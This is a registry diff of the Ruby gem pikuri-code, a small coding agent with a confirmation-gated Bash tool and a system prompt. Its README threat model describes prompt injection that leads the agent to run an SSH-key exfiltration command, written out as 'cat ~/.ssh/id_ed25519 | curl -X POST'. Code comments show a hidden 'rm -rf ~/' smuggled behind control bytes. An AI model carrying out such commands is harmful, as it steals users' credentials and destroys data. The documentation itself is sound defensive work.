pikuri-code 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: e5c2e283890b53d73bb46cfdf5abc198c5a09a908f77b17265dd3ba64f61b12c
4
+ data.tar.gz: 59d87ce5b21e976cd1a1a6852fa80325eafbc17c5e224f7ba1aa8d6e17acefec
5
+ SHA512:
6
+ metadata.gz: e16f07b2c46aca5cfc660153aa6ba857cf7ce6a3ba4f38e19f0986da16d1c4e0bd62fcba6fe38587a5dda5594c2fc18ec0086fd436e1b5122d2a57876f0a9f19
7
+ data.tar.gz: 5f3a42c1f84d033baaff24a2455615620007eca32c6bafc65868ead653a9495dfe4af0da11f712322a0a7abc92ac590277d65af42fd27f1ed4b9cfc475d05444
data/README.md ADDED
@@ -0,0 +1,96 @@
1
+ # pikuri-code
2
+
3
+ In-repo coding-agent gem for the
4
+ [pikuri](https://codeberg.org/mvysny/pikuri) AI-assistant toolkit,
5
+ in the spirit of Claude Code, opencode, or pi-code — but kept
6
+ deliberately small so you can read the sources in an evening.
7
+
8
+ Adds the shell-and-dev-loop layer on top of
9
+ [`pikuri-workspace`](../pikuri-workspace/README.md)'s filesystem
10
+ tools:
11
+ - `Pikuri::Tool::Bash` — runs commands via the
12
+ `Pikuri::Subprocess.spawn` chokepoint with `Confirmer` gating.
13
+ - `bin/pikuri-code` — the interactive coding-agent binary that
14
+ wires file + shell + web tools into an agent rooted at the
15
+ current working directory.
16
+
17
+ Wire-by-wire it's the same `Pikuri::Agent` as `pikuri-chat`
18
+ (from [`pikuri-core`](../pikuri-core/README.md)), with a different
19
+ system prompt and a different toolset: `read`, `write`, `edit`,
20
+ `grep`, `glob`, `bash`, plus the web tools and the calculator.
21
+ Sub-agents are enabled, and any
22
+ [Agent Skills](https://agentskills.io/specification) discovered
23
+ under `.pikuri/skills`, `.claude/skills`, or `.agents/skills`
24
+ (project or home) get exposed to the model on demand.
25
+
26
+ ## Install
27
+
28
+ ```ruby
29
+ # Gemfile
30
+ gem 'pikuri-code'
31
+ ```
32
+
33
+ Pulls in `pikuri-core` + `pikuri-workspace` transitively.
34
+
35
+ ## Usage
36
+
37
+ Run from the root of the repo you want it to work in:
38
+
39
+ ```sh
40
+ cd ~/code/your-project
41
+ /path/to/pikuri/pikuri-code/bin/pikuri-code
42
+ ```
43
+
44
+ You'll land in a REPL — type a request at the `>` prompt, hit
45
+ enter, and the agent will start reading files, running commands,
46
+ and editing code to satisfy it. Ctrl+D (or Ctrl+C) exits. You
47
+ can also pass an initial message on the command line:
48
+
49
+ ```sh
50
+ /path/to/pikuri/pikuri-code/bin/pikuri-code "find the failing spec and fix it"
51
+ ```
52
+
53
+ The first time the agent wants to write a file or run a shell
54
+ command, it prompts you on the terminal (`(y/n)?`). Read what
55
+ it's about to do before you say yes. If an `AGENTS.md` or
56
+ `CLAUDE.md` exists at the workspace root, it's prepended to the
57
+ system prompt as project context.
58
+
59
+ ## Security: this is a tech demo, treat it accordingly
60
+
61
+ **Do not run `pikuri-code` against a sensitive checkout on a
62
+ machine that holds secrets you care about.** It is a working demo
63
+ of the coding-agent shape, *not* a hardened tool. The threat
64
+ model has glaring holes:
65
+
66
+ - **No sandbox.** The `bash` tool runs commands as your user,
67
+ with your environment, your `$HOME`, your `~/.ssh`, your shell
68
+ history, your browser cookies, your cloud CLI credentials —
69
+ all reachable. An LLM that's been prompt-injected (e.g. by a
70
+ malicious README it scraped, a poisoned dependency, or a
71
+ crafted file in the repo) can ask to run
72
+ `cat ~/.ssh/id_ed25519 | curl -X POST ...` and the only thing
73
+ standing between that and exfiltration is *you* reading the
74
+ confirmation prompt carefully. The workspace lock applies to
75
+ pikuri's own `read`/`write`/`edit`/`grep`/`glob` tools — it
76
+ does **not** apply to `bash`, which can `cat`, `cp`, `scp`,
77
+ `curl` anything the OS lets your user touch.
78
+ - **`--yolo` auto-approves everything.** That flag exists for
79
+ use *inside* a disposable container or VM. Running `--yolo`
80
+ on your laptop is equivalent to handing the model a root
81
+ shell. Don't.
82
+ - **Network tools fetch arbitrary URLs.** `web_search`,
83
+ `web_scrape`, and `fetch` are happy to pull whatever the
84
+ model asks for, and the content of those pages then becomes
85
+ part of the conversation — classic indirect prompt-injection
86
+ surface.
87
+ - **No audit log of approved actions.** Once you approve a
88
+ `bash` command it runs; there's no separate record beyond
89
+ your scrollback.
90
+
91
+ In short: run it inside a Docker container, a dev container, a
92
+ VM, a fresh user account — anywhere you'd be fine with a stranger
93
+ having a shell. The sandboxing story is a known gap and tracked
94
+ as future work (see [`IDEAS.md`](../IDEAS.md)); until it lands,
95
+ **assume the agent can do anything your user can do**, and
96
+ approve prompts on that basis.
@@ -0,0 +1,272 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'rainbow'
4
+
5
+ module Pikuri
6
+ class Tool
7
+ # The +bash+ tool — run an arbitrary shell command in the workspace.
8
+ # Instantiating +Tool::Bash.new(workspace: ws, confirmer: c)+ produces
9
+ # a tool whose {Tool#to_ruby_llm_tool} wiring is identical to any
10
+ # bundled tool's. Same shape as {Tool::Write} (workspace + confirmer
11
+ # captured by the +execute+ closure at construction).
12
+ #
13
+ # == Confirmation
14
+ #
15
+ # Every command requires confirmation. Bash composes the full prompt
16
+ # (header line, +$ <command>+ echo, +(y/n)?+ cue) and hands it to the
17
+ # confirmer; the confirmer renders + parses the answer. The command
18
+ # echo passes through {.visible} which escapes control bytes so the
19
+ # model can't smuggle a +\r\033[2K rm -rf ~/+ behind the displayed
20
+ # text. Execution uses the raw command; only the *display* is
21
+ # sanitized.
22
+ #
23
+ # == Subprocess wiring
24
+ #
25
+ # The command runs through {Pikuri::Subprocess.spawn} with argv:
26
+ #
27
+ # timeout --signal=TERM --kill-after=5s <timeout>s bash -c <command>
28
+ #
29
+ # +bash -c+ (no +-l+) — no profile/rc sourcing, no inherited login
30
+ # environment beyond what pikuri itself runs in. +timeout(1)+ from
31
+ # GNU coreutils handles the SIGTERM-then-SIGKILL race; we never use
32
+ # Ruby's +Timeout.timeout+ (can't reliably kill subprocesses). The
33
+ # +--kill-after=5s+ gives the command 5 seconds to handle SIGTERM
34
+ # cleanly before SIGKILL is sent.
35
+ #
36
+ # == Timeout detection
37
+ #
38
+ # GNU coreutils' +timeout+ exits +124+ after a successful SIGTERM,
39
+ # +137+ after escalating to SIGKILL. We treat both as "command timed
40
+ # out". A third code, +125+, is also accepted: uutils-coreutils 0.2.2
41
+ # (the Rust reimplementation shipped on some distros) sends the
42
+ # SIGTERM correctly but then mis-reports +125+ ("timeout itself
43
+ # failed") instead of +124+ whenever +--kill-after+ is in play. False-
44
+ # positive risk on real GNU coreutils is low — our argv is fixed and
45
+ # well-formed, so a +125+ there would indicate a misconfigured PATH
46
+ # rather than a routine timeout.
47
+ #
48
+ # Caveat: +137+ is ambiguous — a command killed by the OOM-killer
49
+ # also exits +137+. v1 accepts the mis-classification; the
50
+ # observation tells the user "sent SIGTERM, then SIGKILL" regardless.
51
+ #
52
+ # == Output handling
53
+ #
54
+ # Combined stdout+stderr (popen2e). Head+tail truncation at
55
+ # {OUTPUT_HEAD} + {OUTPUT_TAIL} bytes with a marker reporting both
56
+ # bytes-omitted and the original total — the model needs the scale
57
+ # to decide whether to re-run with +head+/+tail+/+grep+.
58
+ #
59
+ # == Backgrounded subprocesses
60
+ #
61
+ # Plain +cmd &+ does NOT detach — the backgrounded child inherits our
62
+ # combined-output pipe by default, so {Pikuri::Subprocess#wait} blocks
63
+ # on +io.read+ until the backgrounded process exits. The model must
64
+ # redirect fds away from our pipe to genuinely background:
65
+ # +cmd >/dev/null 2>&1 &+. Such commands stay in our pgroup and get
66
+ # SIGTERM on pikuri exit via {Pikuri::Subprocess.cleanup!}; +nohup+ /
67
+ # +setsid+ plus redirection opt out of cleanup.
68
+ #
69
+ # == Refusals
70
+ #
71
+ # All returned as +"Error: ..."+ observations:
72
+ #
73
+ # * Empty / whitespace-only +command+ → fast reject before confirming.
74
+ # * +timeout+ outside +[1, MAX_TIMEOUT]+ → bounds error.
75
+ # * User declined the confirmation → +"Error: user declined ..."+.
76
+ # * +timeout+ exit (+124+ / +137+) → timeout error with partial output.
77
+ class Bash < Tool
78
+ # Pikuri-convention per-module logger; the +Bash+ progname tags the
79
+ # construction-time warning below so it's clear in the shared
80
+ # +Pikuri.log_io+ stream which tool issued it.
81
+ # @return [Logger]
82
+ LOGGER = Pikuri.logger_for('Bash')
83
+
84
+ # @return [Integer] default value of the +timeout+ parameter (seconds).
85
+ DEFAULT_TIMEOUT = 120
86
+
87
+ # @return [Integer] hard upper bound on the +timeout+ parameter.
88
+ MAX_TIMEOUT = 600
89
+
90
+ # @return [String] grace period between SIGTERM and SIGKILL,
91
+ # passed to +timeout --kill-after=...+.
92
+ KILL_AFTER = '5s'
93
+
94
+ # @return [Integer] bytes preserved from the start of the output
95
+ # when the combined-output stream exceeds {OUTPUT_HEAD} + {OUTPUT_TAIL}.
96
+ OUTPUT_HEAD = 15 * 1024
97
+
98
+ # @return [Integer] bytes preserved from the end of the output.
99
+ OUTPUT_TAIL = 15 * 1024
100
+
101
+ # Description shown to the LLM. opencode-shape: summary + +Usage:+
102
+ # bullets. Per-parameter constraints (default, max) live in the
103
+ # parameter descriptions.
104
+ #
105
+ # @return [String]
106
+ DESCRIPTION = <<~DESC
107
+ Run a bash command in the workspace.
108
+
109
+ Usage:
110
+ - Use for tasks the dedicated tools can't do: git, tests, package managers, multi-step shell pipelines.
111
+ - Prefer `read` / `write` / `edit` / `grep` / `glob` over `cat` / `sed` / `rg` / `find` — they're workspace-resolved.
112
+ - Each call starts in the workspace root; there is no pwd persistence between calls. Use `cd /path && cmd` in one command.
113
+ - stdin is closed; interactive commands hang until timeout. Use non-interactive flags (`apt -y`, `git commit -m`).
114
+ - Plain `cmd &` does NOT detach — the backgrounded process inherits our output pipe and blocks. To genuinely background, redirect fds: `cmd >/dev/null 2>&1 &`. Add `nohup` or `setsid` to survive pikuri exit.
115
+ - Combined stdout+stderr is returned. Suppress either via `2>/dev/null` etc.
116
+ - Large outputs are head+tail-truncated. Pipe through `head`/`tail`/`grep`/`wc` to control volume.
117
+ - Non-zero exit status is a normal observation, not an error.
118
+ - The user must confirm every command before it runs; on rejection an Error is returned.
119
+ DESC
120
+
121
+ # @param workspace [Tool::Workspace] captured for +chdir+; commands
122
+ # run in +workspace.cwd+. Bash does NOT path-resolve individual
123
+ # arguments — the +command+ string is opaque shell syntax.
124
+ # @param confirmer [Tool::Confirmer] consulted before every command.
125
+ # @raise [RuntimeError] if +bash+ or +timeout+ aren't on +PATH+;
126
+ # fail-loud at construction rather than the first tool call.
127
+ # @return [Bash]
128
+ def initialize(workspace:, confirmer:)
129
+ Bash.send(:check_binaries!)
130
+ # Prototype-stage capability advisory. The Bash tool runs commands
131
+ # with pikuri's own UID and inherits its filesystem view — there is
132
+ # no chroot, container, seccomp, or syscall filter today. Anything
133
+ # readable to the user is readable to the LLM via +cat ~/.ssh/id_*+
134
+ # / +aws configure list+ / etc. The per-command +Confirmer+ is the
135
+ # only line of defense; logged loud so anyone wiring this tool up
136
+ # sees the warning at startup, not on the day of an incident.
137
+ LOGGER.warn(
138
+ 'Tool::Bash is a prototype: commands run unsandboxed under your UID and can read ' \
139
+ 'sensitive files (~/.ssh, AWS credentials, browser sessions, ...). Use with care; ' \
140
+ 'a future release will gate this behind a sandbox.'
141
+ )
142
+ super(
143
+ name: 'bash',
144
+ description: DESCRIPTION,
145
+ parameters: Parameters.build { |p|
146
+ p.required_string :command,
147
+ 'Bash command to execute. Multi-line is fine. ' \
148
+ 'Example: "ls -la lib/".'
149
+ p.optional_string :description,
150
+ 'Short 3-7 word label shown to the user alongside ' \
151
+ 'the command, e.g. "Run unit tests".'
152
+ p.optional_integer :timeout,
153
+ "Timeout in seconds. Defaults to #{DEFAULT_TIMEOUT}, " \
154
+ "max #{MAX_TIMEOUT}, e.g. 300."
155
+ },
156
+ execute: ->(command:, description: nil, timeout: DEFAULT_TIMEOUT) {
157
+ Bash.run(workspace: workspace, confirmer: confirmer,
158
+ command: command, description: description, timeout: timeout)
159
+ }
160
+ )
161
+ end
162
+
163
+ # Bounds-check, confirm, spawn, and render the observation. Returns
164
+ # either +"$ ...\n<out>\n\nexit status: N"+ on a normal exit, or
165
+ # +"Error: ..."+ on rejection / timeout / bad inputs.
166
+ #
167
+ # @param workspace [Tool::Workspace]
168
+ # @param confirmer [Tool::Confirmer]
169
+ # @param command [String] raw command as supplied by the LLM
170
+ # @param description [String, nil] optional short label for the user
171
+ # @param timeout [Integer] seconds before SIGTERM is sent
172
+ # @return [String]
173
+ def self.run(workspace:, confirmer:, command:, description:, timeout:)
174
+ return 'Error: empty bash command.' if command.strip.empty?
175
+ return "Error: timeout must be >= 1, got #{timeout}" if timeout < 1
176
+ return "Error: timeout must be <= #{MAX_TIMEOUT}, got #{timeout}" if timeout > MAX_TIMEOUT
177
+
178
+ prompt = compose_prompt(command: command, description: description, timeout: timeout)
179
+ return 'Error: user declined the bash command.' unless confirmer.confirm?(prompt: prompt)
180
+
181
+ result = Pikuri::Subprocess.spawn(
182
+ 'timeout', '--signal=TERM', "--kill-after=#{KILL_AFTER}", "#{timeout}s",
183
+ 'bash', '-c', command,
184
+ chdir: workspace.cwd.to_s
185
+ ).wait
186
+
187
+ output = truncate(result.output)
188
+ exit_code = result.status.exitstatus
189
+
190
+ # 124 (GNU SIGTERM), 137 (GNU SIGKILL), 125 (uutils-coreutils
191
+ # 0.2.2 bug when --kill-after is set). See class header.
192
+ if exit_code == 124 || exit_code == 137 || exit_code == 125
193
+ "Error: command timed out after #{timeout}s (sent SIGTERM, then SIGKILL).\n\n" \
194
+ "$ #{visible(command)}\n#{output}"
195
+ else
196
+ "$ #{visible(command)}\n#{output}\n\nexit status: #{exit_code}"
197
+ end
198
+ end
199
+
200
+ # Compose the multi-line confirmation prompt. Three lines:
201
+ #
202
+ # 1. +OK to run bash[: <desc>][ \[Timeout: Ns\]]+ (bold)
203
+ # 2. +$ <visible(command)>+ (dim)
204
+ # 3. +(y/n)?+
205
+ #
206
+ # Colon after +bash+ is dropped when there's no description, since a
207
+ # trailing colon with nothing after it reads as broken. Timeout
208
+ # suffix appears only when non-default.
209
+ #
210
+ # @return [String]
211
+ def self.compose_prompt(command:, description:, timeout:)
212
+ header = +'OK to run bash'
213
+ desc_clean = description&.strip
214
+ header << ": #{desc_clean}" if desc_clean && !desc_clean.empty?
215
+ header << " [Timeout: #{timeout}s]" if timeout != DEFAULT_TIMEOUT
216
+
217
+ [
218
+ Rainbow(header).bold,
219
+ Rainbow("$ #{visible(command)}").dimgray,
220
+ '(y/n)?'
221
+ ].join("\n")
222
+ end
223
+ private_class_method :compose_prompt
224
+
225
+ # Escape control bytes for safe display while preserving +\n+
226
+ # (multi-line shell commands are normal). Catches +\r+, +\x1b+
227
+ # (ESC, the ANSI introducer), +\b+, NUL, DEL, etc. — without this,
228
+ # a model could craft +command: "\rrm -rf ~/"+ that visually
229
+ # overwrites the echo line after the user has already read it.
230
+ #
231
+ # @param command [String]
232
+ # @return [String]
233
+ def self.visible(command)
234
+ command.gsub(/[\x00-\x09\x0b-\x1f\x7f]/) { |c| format('\\x%02x', c.ord) }
235
+ end
236
+ private_class_method :visible
237
+
238
+ # Head+tail-truncate +output+ to {OUTPUT_HEAD} + {OUTPUT_TAIL}
239
+ # bytes with a marker reporting both bytes-omitted and total.
240
+ # No-op when the output already fits.
241
+ #
242
+ # @param output [String]
243
+ # @return [String]
244
+ def self.truncate(output)
245
+ total = output.bytesize
246
+ return output if total <= OUTPUT_HEAD + OUTPUT_TAIL
247
+
248
+ omitted = total - (OUTPUT_HEAD + OUTPUT_TAIL)
249
+ head = output.byteslice(0, OUTPUT_HEAD)
250
+ tail = output.byteslice(total - OUTPUT_TAIL, OUTPUT_TAIL)
251
+ "#{head}\n... [#{omitted} bytes omitted; total was #{total} bytes] ...\n#{tail}"
252
+ end
253
+ private_class_method :truncate
254
+
255
+ # Verify +bash+ and GNU +timeout+ are reachable on +PATH+. Routed
256
+ # through {Pikuri::Subprocess.spawn} to honor the subprocess seam
257
+ # (no direct +system+ / +backtick+ in +lib/+). +bash+ missing
258
+ # surfaces as +Errno::ENOENT+ from +popen2e+; +timeout+ missing
259
+ # surfaces as a non-zero exit from +command -v+.
260
+ #
261
+ # @return [void]
262
+ # @raise [RuntimeError] if either binary is missing
263
+ def self.check_binaries!
264
+ result = Pikuri::Subprocess.spawn('bash', '-c', 'command -v timeout >/dev/null', chdir: '/').wait
265
+ raise "Tool::Bash requires GNU coreutils 'timeout' on PATH" unless result.status.success?
266
+ rescue Errno::ENOENT
267
+ raise "Tool::Bash requires 'bash' on PATH"
268
+ end
269
+ private_class_method :check_binaries!
270
+ end
271
+ end
272
+ end
@@ -0,0 +1,28 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'pikuri-core'
4
+ require 'pikuri-workspace'
5
+
6
+ # Entry file for the pikuri-code gem. After +require 'pikuri-code'+,
7
+ # +Pikuri::Tool::Bash+ is defined and the gem's +prompts/+ directory
8
+ # is appended to +Pikuri::PROMPT_DIRS+ so
9
+ # +Pikuri.prompt(:'coding-system-prompt')+ resolves to the right
10
+ # file regardless of which gem actually shipped it.
11
+ #
12
+ # Zeitwerk loader is mounted under +Pikuri::Tool+ rather than rooted
13
+ # at this gem's lib/ — same trick pikuri-workspace uses to avoid
14
+ # Zeitwerk redefining the +Pikuri::Tool+ class as an inferred
15
+ # module. See pikuri-workspace/lib/pikuri-workspace.rb for the
16
+ # rationale.
17
+ Pikuri::PROMPT_DIRS << File.expand_path('../prompts', __dir__)
18
+
19
+ module Pikuri
20
+ class Tool
21
+ LOADER_PIKURI_CODE = Zeitwerk::Loader.new
22
+ LOADER_PIKURI_CODE.tag = 'pikuri-code'
23
+ LOADER_PIKURI_CODE.push_dir(File.expand_path('pikuri/tool', __dir__), namespace: Pikuri::Tool)
24
+ LOADER_PIKURI_CODE.ignore(File.expand_path('pikuri-code.rb', __dir__))
25
+ LOADER_PIKURI_CODE.setup
26
+ LOADER_PIKURI_CODE.eager_load
27
+ end
28
+ end
@@ -0,0 +1,28 @@
1
+ You are an expert coding assistant who reads, edits, and runs code via tools to solve software engineering tasks.
2
+
3
+ You operate on the local filesystem under a workspace directory. All file-touching tools resolve paths within that workspace; trying to escape returns an error. The `bash` and `write` tools may prompt the user for confirmation before running — if they decline, accept it and don't retry the same operation.
4
+
5
+ You have access to tools described in the API's tool list. To call one, use the standard tool-call mechanism — do not write tool calls as text.
6
+
7
+ If several next steps are independent (e.g. reading two unrelated files, or running unrelated checks), emit them as parallel tool calls in a single turn rather than one at a time.
8
+
9
+ Choosing a tool:
10
+ - File reading: `read` for a known path, `grep` to search file contents by pattern, `glob` to find files by name pattern. Do NOT use `bash` for these (no `cat`, `sed`, `awk`, `rg`, `find`) — the dedicated tools respect the workspace and produce cleaner output.
11
+ - Editing: `edit` for surgical changes — its `old_string` argument must match exact bytes, so always `read` the target file first. Use `write` for new files, or for wholesale rewrites of existing files (which will prompt the user for confirmation).
12
+ - Running things: `bash` for tests, builds, git, scripts, and other shell commands. Briefly explain non-trivial commands before running them.
13
+ - Research: `web_search`, `web_scrape`, `fetch` for stack traces, library docs, current API references — prefer local source via `read` / `grep` when the information is already in the workspace. `sub_agent` to delegate research that would otherwise blow up your context (full-codebase audits, multi-page reading).
14
+ - `calculator` for arithmetic beyond simple mental math.
15
+
16
+ Working on code:
17
+ - Look at neighboring files first — match the existing conventions, library choices, naming, and comment style.
18
+ - Make the smallest change that does the job. Don't refactor, rename, or add features beyond what was asked.
19
+ - If you're unsure how a piece of code is used, `grep` for its callers before editing it.
20
+ - After a substantive change, run the project's tests or build if you can locate them (look at README, package.json, Cargo.toml, Makefile, build.gradle, Gemfile, etc.).
21
+ - Don't add ceremonial comments. Match the surrounding code's commenting style.
22
+ - NEVER commit, push, or open a PR unless the user explicitly asks.
23
+
24
+ Other guidelines:
25
+ - Don't repeat a tool call with identical arguments — re-read the previous observation instead.
26
+ - On a tool error (observation starting with `Error:`): use the data you already have to continue if you can. If you can't, reply to the user that you weren't able to complete the task and briefly say why (e.g. "the test runner isn't on PATH", "the file is outside the workspace"). Do not retry the same call hoping for a different result, and do not loop on rephrased variants of the same failing call.
27
+ - Reference code with `file_path:line_number` so the user can navigate (e.g. `lib/agent.rb:42`).
28
+ - When the task is done, reply in plain text with no tool call — a short summary of what changed and any next steps the user should consider. That is how you finish.
metadata ADDED
@@ -0,0 +1,87 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: pikuri-code
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.3
5
+ platform: ruby
6
+ authors:
7
+ - Martin Vysny
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2026-05-22 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: pikuri-core
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - '='
18
+ - !ruby/object:Gem::Version
19
+ version: 0.0.3
20
+ type: :runtime
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - '='
25
+ - !ruby/object:Gem::Version
26
+ version: 0.0.3
27
+ - !ruby/object:Gem::Dependency
28
+ name: pikuri-workspace
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - '='
32
+ - !ruby/object:Gem::Version
33
+ version: 0.0.3
34
+ type: :runtime
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - '='
39
+ - !ruby/object:Gem::Version
40
+ version: 0.0.3
41
+ description: |
42
+ pikuri-code adds the shell-and-dev-loop layer on top of
43
+ pikuri-workspace's filesystem tools: a +Pikuri::Tool::Bash+ that
44
+ runs commands via the +Pikuri::Subprocess+ chokepoint with
45
+ +Confirmer+ gating, plus the demo +bin/pikuri-code+ binary that
46
+ wires file + shell + web tools into an interactive coding agent
47
+ rooted at the current working directory. The +Pikuri.prompt+
48
+ search path picks up this gem's +prompts/coding-system-prompt.txt+
49
+ automatically on require.
50
+ email:
51
+ - martin@vysny.me
52
+ executables: []
53
+ extensions: []
54
+ extra_rdoc_files: []
55
+ files:
56
+ - README.md
57
+ - lib/pikuri-code.rb
58
+ - lib/pikuri/tool/bash.rb
59
+ - prompts/coding-system-prompt.txt
60
+ homepage: https://codeberg.org/mvysny/pikuri
61
+ licenses:
62
+ - MIT
63
+ metadata:
64
+ source_code_uri: https://codeberg.org/mvysny/pikuri/src/branch/master
65
+ changelog_uri: https://codeberg.org/mvysny/pikuri/src/branch/master/CHANGELOG.md
66
+ bug_tracker_uri: https://codeberg.org/mvysny/pikuri/issues
67
+ rubygems_mfa_required: 'true'
68
+ post_install_message:
69
+ rdoc_options: []
70
+ require_paths:
71
+ - lib
72
+ required_ruby_version: !ruby/object:Gem::Requirement
73
+ requirements:
74
+ - - ">="
75
+ - !ruby/object:Gem::Version
76
+ version: '3.3'
77
+ required_rubygems_version: !ruby/object:Gem::Requirement
78
+ requirements:
79
+ - - ">="
80
+ - !ruby/object:Gem::Version
81
+ version: '0'
82
+ requirements: []
83
+ rubygems_version: 3.5.22
84
+ signing_key:
85
+ specification_version: 4
86
+ summary: In-repo coding-agent shell tool (Bash) + pikuri-code binary.
87
+ test_files: []